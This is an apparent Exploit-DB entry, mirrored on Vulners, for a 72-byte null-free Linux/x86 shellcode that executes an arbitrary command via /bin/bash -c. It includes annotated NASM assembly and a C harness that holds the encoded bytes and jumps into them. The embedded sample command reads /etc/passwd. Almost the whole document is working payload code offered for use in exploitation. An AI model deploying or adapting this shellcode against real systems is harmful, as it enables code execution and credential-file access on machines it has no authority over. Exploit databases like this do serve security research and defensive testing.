Lucene search
K

Linux/x86 - /bin/bash -c Arbitrary Command Execution Shellcode (72 bytes)

🗓️ 16 Dec 2016 00:00:00Reported by Exploit-DBType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 59 Views

Linux/x86 Arbitrary Command Execution Shellcode (72 bytes). Executes arbitrary command through /bin/bash -c "command

Code
/* 
;author:    Filippo "zinzloun" Bersani
;date:      16/12/2016
;version:   1.0
;X86 Assembly/NASM Syntax
;tested on: Linux OpenSuse001 2.6.34-12-desktop 32bit
;           Linux ubuntu 3.13.0-100-generic #147~precise1-Ubuntu 32bit
;           Linux bb32 4.4.0-45-generic 32bit
;72 bytes
;description:
   executes arbitrary command through /bin/bash -c "command"
    a slightly different and null free version of the metasploit payload:
		https://www.rapid7.com/db/modules/payload/linux/x86/exec
	that is not null free. Crashed on 2 vm of my lab enviroment: OpenSuse001 and bb32
	so I coded this version, anyway thx 2 vlad902 for the great idea

;see comment for details

global _start			

section .text
_start:

xor eax,eax			;zeroing registers
xor edx,edx
mov al,0xb			;int execve(const char *filename, char *const argv[], 
                        ;        char *const envp[]);

push   edx			;null
push   word 0x632d 	;-c
mov edi,esp			;save in edi the -c value

push edx			;null
push 0x68736162		;////bin/bash
push 0x2f6e6962
push 0x2f2f2f2f

mov ebx,esp			;set first arg in ebx=*filename	
push   edx			;null

jmp short push_cmd	;jump to collect the command

set_argv:
 push edi			;push -c value
 push ebx			;push ////bin/bash
 mov ecx,esp		;*argv = ////bin/bash, -c, cmd, null
 int    0x80

push_cmd:
 call set_argv
 cmd: db "cat /etc/passwd;echo do__ne"
*/

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xd2\xb0\x0b\x52\x66\x68\x2d\x63\x89\xe7\x52\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89"
"\xe3\x52\xeb\x06\x57\x53\x89\xe1\xcd\x80\xe8\xf5\xff\xff\xff\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x3b"
"\x65\x63\x68\x6f\x20\x64\x6f\x5f\x5f\x6e\x65";
main()
{

        printf("Shellcode Length:  %d\n", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation